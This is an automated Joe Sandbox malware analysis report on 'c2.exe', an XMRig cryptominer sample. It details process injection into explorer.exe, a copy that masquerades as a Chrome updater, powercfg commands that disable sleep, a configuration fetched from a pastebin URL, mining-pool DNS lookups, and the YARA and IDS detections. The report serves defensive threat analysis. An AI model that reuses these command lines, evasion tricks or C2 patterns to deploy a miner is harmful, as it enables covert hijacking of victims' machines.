Edit tour

Windows Analysis Report
c2.exe

Overview

General Information

Sample name:	c2.exe
Analysis ID:	1576710
MD5:	eb0588e6420a0a2fb8b262554091add3
SHA1:	5c2bdd9050a44b7afd028e9be44142da93232a37
SHA256:	6cb04057a0313bc34459aba72170f4039148aaace0b396b6c881b92769199853
Tags:	dacsanvinhchau-vnexeuser-JAMESWT_MHT
Infos:

Detection

Xmrig

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

System process connects to network (likely due to code injection or exploit)

Yara detected Xmrig cryptocurrency miner

AI detected suspicious sample

Connects to a pastebin service (likely for C&C)

DNS related to crypt mining pools

Found direct / indirect Syscall (likely to bypass EDR)

Found hidden mapped module (file has been removed from disk)

Found strings related to Crypto-Mining

Injects code into the Windows Explorer (explorer.exe)

Machine Learning detection for dropped file

Machine Learning detection for sample

Maps a DLL or memory area into another process

Modifies power options to not sleep / hibernate

Modifies the context of a thread in another process (thread injection)

Query firmware table information (likely to detect VMs)

Sample is not signed and drops a device driver

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Uses powercfg.exe to modify the power settings

Writes to foreign memory regions

Abnormal high CPU Usage

Contains functionality to call native functions

Creates a process in suspended mode (likely to inject code)

Creates driver files

Deletes files inside the Windows folder

Detected TCP or UDP traffic on non-standard ports

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the windows directory (C:\Windows)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains more sections than normal

PE file contains sections with non-standard names

Queries sensitive processor information (via WMI, Win32_Processor, often done to detect virtual machines)

Sample execution stops while process was sleeping (likely an evasion)

Yara signature match

Classification

Process Tree

System is w10x64

c2.exe (PID: 7428 cmdline: "C:\Users\user\Desktop\c2.exe" MD5: EB0588E6420A0A2FB8B262554091ADD3)

cmd.exe (PID: 7440 cmdline: C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7448 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 7520 cmdline: powercfg /x -hibernate-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

powercfg.exe (PID: 7560 cmdline: powercfg /x -hibernate-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

powercfg.exe (PID: 7608 cmdline: powercfg /x -standby-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

powercfg.exe (PID: 7620 cmdline: powercfg /x -standby-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

updater.exe (PID: 7684 cmdline: "C:\Program Files\Google\Chrome\updater.exe" MD5: EB0588E6420A0A2FB8B262554091ADD3)

conhost.exe (PID: 7808 cmdline: C:\Windows\System32\conhost.exe MD5: 0D698AF330FD17BEE3BF90011D49251D)

explorer.exe (PID: 7868 cmdline: C:\Windows\explorer.exe MD5: 662F4F92FDE3557E86D110526BB578D5)

cmd.exe (PID: 7696 cmdline: C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7704 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 7772 cmdline: powercfg /x -hibernate-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

powercfg.exe (PID: 7820 cmdline: powercfg /x -hibernate-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

powercfg.exe (PID: 7836 cmdline: powercfg /x -standby-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

powercfg.exe (PID: 7852 cmdline: powercfg /x -standby-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

updater.exe (PID: 7928 cmdline: "C:\Program Files\Google\Chrome\updater.exe" MD5: EB0588E6420A0A2FB8B262554091ADD3)

cmd.exe (PID: 7940 cmdline: C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0 MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7948 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powercfg.exe (PID: 7992 cmdline: powercfg /x -hibernate-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

powercfg.exe (PID: 8044 cmdline: powercfg /x -hibernate-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

powercfg.exe (PID: 8072 cmdline: powercfg /x -standby-timeout-ac 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

powercfg.exe (PID: 8096 cmdline: powercfg /x -standby-timeout-dc 0 MD5: 9CA38BE255FFF57A92BD6FBF8052B705)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
xmrig	According to PCrisk, XMRIG is a completely legitimate open-source application that utilizes system CPUs to mine Monero cryptocurrency. Unfortunately, criminals generate revenue by infiltrating this app into systems without users' consent. This deceptive marketing method is called "bundling".In most cases, "bundling" is used to infiltrate several potentially unwanted programs (PUAs) at once. So, there is a high probability that XMRIG Virus came with a number of adware-type applications that deliver intrusive ads and gather sensitive information.	No Attribution	https://gridinsoft.com/xmrig https://www.akamai.com/blog/security-research/2024-php-exploit-cve-one-day-after-disclosure https://www.crowdstrike.com/blog/new-kiss-a-dog-cryptojacking-campaign-targets-docker-and-kubernetes/	https://malpedia.caad.fkie.fraunhofer.de/details/win.xmrig

Malware Configuration

⊘No configs have been found

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
C:\Windows\Temp\lnobvhjdatqu.tmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
C:\Windows\Temp\lnobvhjdatqu.tmp	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x4e4b68:$a1: mining.set_target 0x4e03c8:$a2: XMRIG_HOSTNAME 0x4e1ed0:$a3: Usage: xmrig [OPTIONS] 0x4e03a0:$a4: XMRIG_VERSION
C:\Windows\Temp\lnobvhjdatqu.tmp	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x4eac21:$x2: * COMMANDS 'h' hashrate, 'p' pause, 'r' resume
C:\Windows\Temp\lnobvhjdatqu.tmp	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x4eb1e0:$s1: %s/%s (Windows NT %lu.%lu 0x4eba40:$s3: \\.\WinRing0_ 0x4e4178:$s4: pool_wallet 0x4446e0:$s5: cryptonight 0x4446f0:$s5: cryptonight 0x444700:$s5: cryptonight 0x444710:$s5: cryptonight 0x444728:$s5: cryptonight 0x444738:$s5: cryptonight 0x444748:$s5: cryptonight 0x444760:$s5: cryptonight 0x444770:$s5: cryptonight 0x444788:$s5: cryptonight 0x4447a0:$s5: cryptonight 0x4447b0:$s5: cryptonight 0x4447c0:$s5: cryptonight 0x4447d0:$s5: cryptonight 0x4447e8:$s5: cryptonight 0x444800:$s5: cryptonight 0x444810:$s5: cryptonight 0x444820:$s5: cryptonight

Memory Dumps

Source	Rule	Description	Author	Strings
00000017.00000002.4158658044.0000000000D0F000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000017.00000002.4158658044.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000013.00000002.4158581402.000001B6A8670000.00000004.00000001.00020000.00000000.sdmp	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
00000013.00000002.4158581402.000001B6A8670000.00000004.00000001.00020000.00000000.sdmp	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x4f5068:$a1: mining.set_target 0x4f08c8:$a2: XMRIG_HOSTNAME 0x4f23d0:$a3: Usage: xmrig [OPTIONS] 0x4f08a0:$a4: XMRIG_VERSION
Process Memory Space: conhost.exe PID: 7808	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Process Memory Space: conhost.exe PID: 7808	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x8d2bf:$a1: mining.set_target 0x89f33:$a2: XMRIG_HOSTNAME 0x8aae5:$a3: Usage: xmrig [OPTIONS] 0x89f14:$a4: XMRIG_VERSION
Process Memory Space: explorer.exe PID: 7868	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
Click to see the 2 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
19.2.conhost.exe.1b6a8674a00.1.raw.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
19.2.conhost.exe.1b6a8674a00.1.raw.unpack	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x4f0668:$a1: mining.set_target 0x4ebec8:$a2: XMRIG_HOSTNAME 0x4ed9d0:$a3: Usage: xmrig [OPTIONS] 0x4ebea0:$a4: XMRIG_VERSION
19.2.conhost.exe.1b6a8674a00.1.raw.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x4f6721:$x2: * COMMANDS 'h' hashrate, 'p' pause, 'r' resume
19.2.conhost.exe.1b6a8674a00.1.raw.unpack	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x4f6ce0:$s1: %s/%s (Windows NT %lu.%lu 0x4f7540:$s3: \\.\WinRing0_ 0x4efc78:$s4: pool_wallet 0x4501e0:$s5: cryptonight 0x4501f0:$s5: cryptonight 0x450200:$s5: cryptonight 0x450210:$s5: cryptonight 0x450228:$s5: cryptonight 0x450238:$s5: cryptonight 0x450248:$s5: cryptonight 0x450260:$s5: cryptonight 0x450270:$s5: cryptonight 0x450288:$s5: cryptonight 0x4502a0:$s5: cryptonight 0x4502b0:$s5: cryptonight 0x4502c0:$s5: cryptonight 0x4502d0:$s5: cryptonight 0x4502e8:$s5: cryptonight 0x450300:$s5: cryptonight 0x450310:$s5: cryptonight 0x450320:$s5: cryptonight
19.2.conhost.exe.1b6a8680500.0.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
19.2.conhost.exe.1b6a8680500.0.unpack	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x4e3b68:$a1: mining.set_target 0x4df3c8:$a2: XMRIG_HOSTNAME 0x4e0ed0:$a3: Usage: xmrig [OPTIONS] 0x4df3a0:$a4: XMRIG_VERSION
19.2.conhost.exe.1b6a8680500.0.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x4e9c21:$x2: * COMMANDS 'h' hashrate, 'p' pause, 'r' resume
19.2.conhost.exe.1b6a8680500.0.unpack	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x4ea1e0:$s1: %s/%s (Windows NT %lu.%lu 0x4eaa40:$s3: \\.\WinRing0_ 0x4e3178:$s4: pool_wallet 0x4436e0:$s5: cryptonight 0x4436f0:$s5: cryptonight 0x443700:$s5: cryptonight 0x443710:$s5: cryptonight 0x443728:$s5: cryptonight 0x443738:$s5: cryptonight 0x443748:$s5: cryptonight 0x443760:$s5: cryptonight 0x443770:$s5: cryptonight 0x443788:$s5: cryptonight 0x4437a0:$s5: cryptonight 0x4437b0:$s5: cryptonight 0x4437c0:$s5: cryptonight 0x4437d0:$s5: cryptonight 0x4437e8:$s5: cryptonight 0x443800:$s5: cryptonight 0x443810:$s5: cryptonight 0x443820:$s5: cryptonight
19.2.conhost.exe.1b6a867cc20.2.raw.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
19.2.conhost.exe.1b6a867cc20.2.raw.unpack	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x4e8448:$a1: mining.set_target 0x4e3ca8:$a2: XMRIG_HOSTNAME 0x4e57b0:$a3: Usage: xmrig [OPTIONS] 0x4e3c80:$a4: XMRIG_VERSION
19.2.conhost.exe.1b6a867cc20.2.raw.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x4ee501:$x2: * COMMANDS 'h' hashrate, 'p' pause, 'r' resume
19.2.conhost.exe.1b6a867cc20.2.raw.unpack	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x4eeac0:$s1: %s/%s (Windows NT %lu.%lu 0x4ef320:$s3: \\.\WinRing0_ 0x4e7a58:$s4: pool_wallet 0x447fc0:$s5: cryptonight 0x447fd0:$s5: cryptonight 0x447fe0:$s5: cryptonight 0x447ff0:$s5: cryptonight 0x448008:$s5: cryptonight 0x448018:$s5: cryptonight 0x448028:$s5: cryptonight 0x448040:$s5: cryptonight 0x448050:$s5: cryptonight 0x448068:$s5: cryptonight 0x448080:$s5: cryptonight 0x448090:$s5: cryptonight 0x4480a0:$s5: cryptonight 0x4480b0:$s5: cryptonight 0x4480c8:$s5: cryptonight 0x4480e0:$s5: cryptonight 0x4480f0:$s5: cryptonight 0x448100:$s5: cryptonight
19.2.conhost.exe.1b6a8680500.0.raw.unpack	JoeSecurity_Xmrig	Yara detected Xmrig cryptocurrency miner	Joe Security
19.2.conhost.exe.1b6a8680500.0.raw.unpack	MacOS_Cryptominer_Xmrig_241780a1	unknown	unknown	0x4e4b68:$a1: mining.set_target 0x4e03c8:$a2: XMRIG_HOSTNAME 0x4e1ed0:$a3: Usage: xmrig [OPTIONS] 0x4e03a0:$a4: XMRIG_VERSION
19.2.conhost.exe.1b6a8680500.0.raw.unpack	MAL_XMR_Miner_May19_1	Detects Monero Crypto Coin Miner	Florian Roth	0x4eac21:$x2: * COMMANDS 'h' hashrate, 'p' pause, 'r' resume
19.2.conhost.exe.1b6a8680500.0.raw.unpack	MALWARE_Win_CoinMiner02	Detects coinmining malware	ditekSHen	0x4eb1e0:$s1: %s/%s (Windows NT %lu.%lu 0x4eba40:$s3: \\.\WinRing0_ 0x4e4178:$s4: pool_wallet 0x4446e0:$s5: cryptonight 0x4446f0:$s5: cryptonight 0x444700:$s5: cryptonight 0x444710:$s5: cryptonight 0x444728:$s5: cryptonight 0x444738:$s5: cryptonight 0x444748:$s5: cryptonight 0x444760:$s5: cryptonight 0x444770:$s5: cryptonight 0x444788:$s5: cryptonight 0x4447a0:$s5: cryptonight 0x4447b0:$s5: cryptonight 0x4447c0:$s5: cryptonight 0x4447d0:$s5: cryptonight 0x4447e8:$s5: cryptonight 0x444800:$s5: cryptonight 0x444810:$s5: cryptonight 0x444820:$s5: cryptonight
Click to see the 11 entries

Sigma Signatures

⊘No Sigma rule has matched

Suricata Signatures

ET MALWARE SilentCryptoMiner Agent Config Inbound

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-17T12:46:06.900142+0100	2054247	1	A Network Trojan was detected	104.20.4.235	443	192.168.2.4	49731	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: c2.exe

Avira: detected

Antivirus detection for dropped file

Source: C:\Program Files\Google\Chrome\updater.exe

Avira: detection malicious, Label: TR/Crypt.EPACK.Gen2

Multi AV Scanner detection for dropped file

Source: C:\Program Files\Google\Chrome\updater.exe	ReversingLabs: Detection: 42%
Source: C:\Windows\Temp\lnobvhjdatqu.tmp	ReversingLabs: Detection: 62%

Multi AV Scanner detection for submitted file

Source: c2.exe

ReversingLabs: Detection: 42%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Windows\Temp\lnobvhjdatqu.tmp	Joe Sandbox ML: detected
Source: C:\Program Files\Google\Chrome\updater.exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: c2.exe

Joe Sandbox ML: detected

Bitcoin Miner

Yara detected Xmrig cryptocurrency miner

Source: Yara match	File source: 19.2.conhost.exe.1b6a8674a00.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.conhost.exe.1b6a8680500.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.conhost.exe.1b6a867cc20.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 19.2.conhost.exe.1b6a8680500.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000017.00000002.4158658044.0000000000D0F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000017.00000002.4158658044.0000000000D65000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.4158581402.000001B6A8670000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: conhost.exe PID: 7808, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: explorer.exe PID: 7868, type: MEMORYSTR
Source: Yara match	File source: C:\Windows\Temp\lnobvhjdatqu.tmp, type: DROPPED

DNS related to crypt mining pools

Source: unknown

DNS query: name: xmr-asia1.nanopool.org

Found strings related to Crypto-Mining

Source: conhost.exe, 00000013.00000002.4158581402.000001B6A8670000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: stratum+tcp://
Source: conhost.exe, 00000013.00000002.4158581402.000001B6A8670000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: cryptonight/0
Source: conhost.exe, 00000013.00000002.4158581402.000001B6A8670000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: stratum+tcp://
Source: conhost.exe, 00000013.00000002.4158581402.000001B6A8670000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: -o, --url=URL URL of mining server
Source: conhost.exe, 00000013.00000002.4158581402.000001B6A8670000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: Usage: xmrig [OPTIONS]
Source: conhost.exe, 00000013.00000002.4158581402.000001B6A8670000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: Usage: xmrig [OPTIONS]

Source: c2.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT

Source:

Binary string: d:\hotproject\winring0\source\dll\sys\lib\amd64\WinRing0.pdb source: conhost.exe, 00000013.00000002.4158581402.000001B6A8670000.00000004.00000001.00020000.00000000.sdmp

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2054247 - Severity 1 - ET MALWARE SilentCryptoMiner Agent Config Inbound : 104.20.4.235:443 -> 192.168.2.4:49731

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Network Connect: 103.3.62.64 10343	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 104.20.4.235 443	Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 51.79.145.144 10343	Jump to behavior

Connects to a pastebin service (likely for C&C)

Source: unknown

DNS query: name: pastebin.com

Source: global traffic	TCP traffic: 192.168.2.4:49730 -> 103.3.62.64:10343
Source: global traffic	TCP traffic: 192.168.2.4:49732 -> 51.79.145.144:10343

Source: Joe Sandbox View	IP Address: 104.20.4.235 104.20.4.235
Source: Joe Sandbox View	IP Address: 104.20.4.235 104.20.4.235

Source: Joe Sandbox View

ASN Name: LINODE-APLinodeLLCUS LINODE-APLinodeLLCUS

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: GET /raw/YLG9StR0 HTTP/1.1Accept: */*Connection: closeHost: pastebin.comUser-Agent: cpp-httplib/0.12.6

Source: global traffic	DNS traffic detected: DNS query: xmr-asia1.nanopool.org
Source: global traffic	DNS traffic detected: DNS query: pastebin.com

Source: explorer.exe, 00000017.00000002.4158658044.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.cloudflare.com/origin_ca.crl
Source: explorer.exe, 00000017.00000002.4158658044.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.cloudflare.com/origin_ca.crl0
Source: conhost.exe, 00000013.00000002.4158581402.000001B6A8670000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/ObjectSign.crl0
Source: conhost.exe, 00000013.00000002.4158581402.000001B6A8670000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/Root.crl0
Source: conhost.exe, 00000013.00000002.4158581402.000001B6A8670000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/RootSignPartners.crl0
Source: conhost.exe, 00000013.00000002.4158581402.000001B6A8670000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/primobject.crl0
Source: explorer.exe, 00000017.00000002.4158658044.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.cloudflare.com/origin_ca
Source: explorer.exe, 00000017.00000002.4158658044.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.cloudflare.com/origin_ca0
Source: explorer.exe, 00000017.00000002.4158658044.0000000000CF5000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000017.00000003.1700744936.0000000000D20000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000017.00000002.4158658044.0000000000D51000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000017.00000003.1732279591.0000000000D8F000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000017.00000002.4158658044.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com/raw/YLG9StR0
Source: explorer.exe, 00000017.00000003.1732250618.0000000000D65000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000017.00000002.4158658044.0000000000D65000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com/raw/YLG9StR0$
Source: explorer.exe, 00000017.00000002.4158658044.0000000000CF5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com/raw/YLG9StR0--cinit-stealth-targets=Taskmgr.exe
Source: explorer.exe, 00000017.00000003.1700744936.0000000000D20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com/raw/YLG9StR08
Source: explorer.exe, 00000017.00000002.4158658044.0000000000CB8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com/raw/YLG9StR090
Source: explorer.exe, 00000017.00000003.1700744936.0000000000D10000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://pastebin.com/raw/YLG9StR0Taskmgr.exe
Source: conhost.exe, 00000013.00000002.4158581402.000001B6A8670000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: https://xmrig.com/docs/algorithms

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49731
Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 443

System Summary

Malicious sample detected (through community Yara rule)

Source: 19.2.conhost.exe.1b6a8674a00.1.raw.unpack, type: UNPACKEDPE	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 19.2.conhost.exe.1b6a8674a00.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 19.2.conhost.exe.1b6a8674a00.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 19.2.conhost.exe.1b6a8680500.0.unpack, type: UNPACKEDPE	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 19.2.conhost.exe.1b6a8680500.0.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 19.2.conhost.exe.1b6a8680500.0.unpack, type: UNPACKEDPE	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 19.2.conhost.exe.1b6a867cc20.2.raw.unpack, type: UNPACKEDPE	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 19.2.conhost.exe.1b6a867cc20.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 19.2.conhost.exe.1b6a867cc20.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 19.2.conhost.exe.1b6a8680500.0.raw.unpack, type: UNPACKEDPE	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: 19.2.conhost.exe.1b6a8680500.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: 19.2.conhost.exe.1b6a8680500.0.raw.unpack, type: UNPACKEDPE	Matched rule: Detects coinmining malware Author: ditekSHen
Source: 00000013.00000002.4158581402.000001B6A8670000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: Process Memory Space: conhost.exe PID: 7808, type: MEMORYSTR	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: C:\Windows\Temp\lnobvhjdatqu.tmp, type: DROPPED	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 Author: unknown
Source: C:\Windows\Temp\lnobvhjdatqu.tmp, type: DROPPED	Matched rule: Detects Monero Crypto Coin Miner Author: Florian Roth
Source: C:\Windows\Temp\lnobvhjdatqu.tmp, type: DROPPED	Matched rule: Detects coinmining malware Author: ditekSHen

Uses powercfg.exe to modify the power settings

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0

Source: C:\Windows\explorer.exe

Process Stats: CPU usage > 49%

Source: C:\Windows\System32\conhost.exe

Code function: 19_2_00007FF778012F50 NtReadFile,

19_2_00007FF778012F50

Source: C:\Program Files\Google\Chrome\updater.exe

File created: C:\Windows\TEMP\ppefirylicdf.sys

Jump to behavior

Source: C:\Program Files\Google\Chrome\updater.exe

File deleted: C:\Windows\Temp\wjwbvsfqhrdh.xml

Jump to behavior

Source: Joe Sandbox View	Dropped File: C:\Windows\Temp\lnobvhjdatqu.tmp 3D0E5AED0AFC5A7719AF93C49C55E6CE91ADFFE5CC50D1597ABB1CCED05FFAA3
Source: Joe Sandbox View	Dropped File: C:\Windows\Temp\ppefirylicdf.sys 11BD2C9F9E2397C9A16E0990E4ED2CF0679498FE0FD418A3DFDAC60B5C160EE5

Source: C:\Windows\System32\conhost.exe

Code function: String function: 00007FF778012F50 appears 31 times

Source: updater.exe.0.dr	Static PE information: Number of sections : 11 > 10
Source: c2.exe	Static PE information: Number of sections : 11 > 10

Source: 19.2.conhost.exe.1b6a8674a00.1.raw.unpack, type: UNPACKEDPE	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: 19.2.conhost.exe.1b6a8674a00.1.raw.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 19.2.conhost.exe.1b6a8674a00.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
Source: 19.2.conhost.exe.1b6a8680500.0.unpack, type: UNPACKEDPE	Matched rule: MacOS_Cryptominer_Xmrig_241780a1 reference_sample = 2e94fa6ac4045292bf04070a372a03df804fa96c3b0cb4ac637eeeb67531a32f, os = macos, severity = x86, creation_date = 2021-09-30, scan_context = file, memory, license = Elastic License v2, threat_name = MacOS.Cryptominer.Xmrig, fingerprint = be9c56f18e0f0bdc8c46544039b9cb0bbba595c1912d089b2bcc7a7768ac04a8, id = 241780a1-ad50-4ded-b85a-26339ae5a632, last_modified = 2021-10-25
Source: 19.2.conhost.exe.1b6a8680500.0.unpack, type: UNPACKEDPE	Matched rule: MAL_XMR_Miner_May19_1 date = 2019-05-31, author = Florian Roth, description = Detects Monero Crypto Coin Miner, score = d6df423efb576f167bc28b3c08d10c397007ba323a0de92d1e504a3f490752fc, reference = https://www.guardicore.com/2019/05/nansh0u-campaign-hackers-arsenal-grows-stronger/
Source: 19.2.conhost.exe.1b6a8680500.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_CoinMiner02 author = ditekSHen, description = Detects coinmining malware
